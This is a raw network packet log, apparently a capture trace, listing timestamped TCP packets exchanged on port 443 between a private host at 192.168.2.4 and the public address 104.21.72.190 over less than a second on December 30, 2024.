Dec 30, 2024 09:18:11.471438885 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.471446991 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.471856117 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.472551107 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.472565889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.472625971 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.472640038 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.472728014 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.475064993 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475089073 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475148916 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.475156069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475239038 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.475343943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475361109 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475425005 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.475430965 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475493908 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.475619078 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475636005 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475688934 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.475696087 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.475744963 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.508635044 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.508656979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.508723021 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.508738041 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.508785009 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.550646067 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.550683022 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.550750971 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.550769091 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.550801992 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.550826073 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.554121017 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.554138899 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.554199934 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.554215908 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.554505110 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.555669069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.555686951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.555751085 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.555757046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.555797100 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.557071924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.557087898 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.557131052 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.557137966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.557173967 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.559670925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.559685946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.559746981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.559758902 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.559798002 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.559827089 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.559849024 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.559879065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.559885979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.559916019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.559932947 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.560115099 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.560129881 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.560179949 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.560188055 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.560337067 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.593131065 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.593147039 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.593211889 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.593229055 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.593408108 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.635242939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.635268927 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.635329962 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.635344982 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.635355949 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.635440111 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.638639927 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.638657093 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.638730049 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.638745070 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.638945103 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.640053988 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.640069008 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.640134096 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.640149117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.640187025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.641469955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.641488075 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.641547918 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.641556025 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.641593933 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644123077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644141912 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644200087 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644206047 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644258022 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644267082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644283056 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644330978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644336939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644386053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644596100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644612074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644654989 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644660950 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.644689083 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.644711018 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.677973986 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.677990913 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.678045988 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.678055048 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.678083897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.678097010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.719553947 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.719572067 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.719624996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.719635010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.719666004 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.719685078 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.722912073 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.722928047 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.722981930 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.722989082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.723016024 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.723045111 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.724700928 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.724715948 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.724761963 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.724769115 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.724812984 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.725924969 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.725940943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.725995064 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.726001978 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.726210117 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.728693962 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.728714943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.728766918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.728800058 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.728806973 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.728821039 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.728853941 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.729084969 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.729099989 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.729131937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.729142904 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.729171038 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.762295961 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.762317896 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.762365103 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.762379885 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.762407064 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.804054022 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.804081917 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.804097891 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.804161072 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.804168940 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.804220915 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.807379961 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.807396889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.807461977 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.807471037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.807867050 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.809118032 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.809144020 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.809181929 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.809190035 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.809230089 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.809248924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.810311079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.810326099 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.810369968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.810379028 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.810406923 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.810417891 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.812885046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.812901974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.812985897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.812997103 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.813582897 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.813602924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.813637972 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.813646078 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.813673973 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.813704967 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.813842058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.813857079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.813904047 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.813910961 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.815494061 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.846666098 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.846683979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.846744061 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.846754074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.846890926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.888729095 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.888747931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.888791084 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.888818979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.888838053 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.888870955 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.891629934 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.891685963 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.893547058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.893589973 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.893618107 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.893625021 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.893645048 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.893743992 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.893765926 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.893809080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.893816948 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.893836975 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.895740986 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.895756006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.895788908 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.895797014 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.895826101 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.897844076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.897866011 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.897892952 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.897901058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.897924900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.898067951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.898082018 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.898119926 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.898127079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.898144960 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.898351908 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.898372889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.898402929 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.898410082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.898430109 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.944648027 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.972980022 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.973001003 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.973066092 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.973093033 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.973145962 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988195896 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988219976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988270044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988280058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988306046 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988312006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988323927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988331079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988348007 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988353968 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988382101 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988388062 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988414049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988426924 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988432884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988436937 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988449097 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988466978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988502979 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988503933 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988517046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988559008 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988568068 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988576889 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988580942 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988606930 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988631010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988645077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988673925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988703012 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988708019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988740921 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988759995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988774061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988791943 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988828897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988833904 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988852024 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988878012 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.988957882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.988981009 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.989017010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.989022970 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:11.989056110 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.989072084 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:11.989144087 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.057471037 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.057488918 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.057574034 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.057586908 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.057743073 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.061955929 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.061973095 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.062019110 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.062025070 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.062068939 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.062661886 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.062681913 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.062741995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.062747955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.062772036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.062793970 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.062980890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.062995911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.063031912 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.063038111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.063066959 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.063086987 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.064559937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.064574957 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.064661026 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.064667940 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.064708948 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067152023 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067168951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067228079 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067234993 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067275047 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067409992 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067428112 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067464113 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067471027 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067497015 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067517996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067704916 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067720890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067759037 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067765951 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.067800999 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.067816973 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.141825914 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.141844988 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.141921043 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.141932011 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.142004967 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.146239996 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.146264076 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.146302938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.146311045 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:12.146356106 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:12.149725914 CET	443	49730	104.21.72.190	192.168.2.4
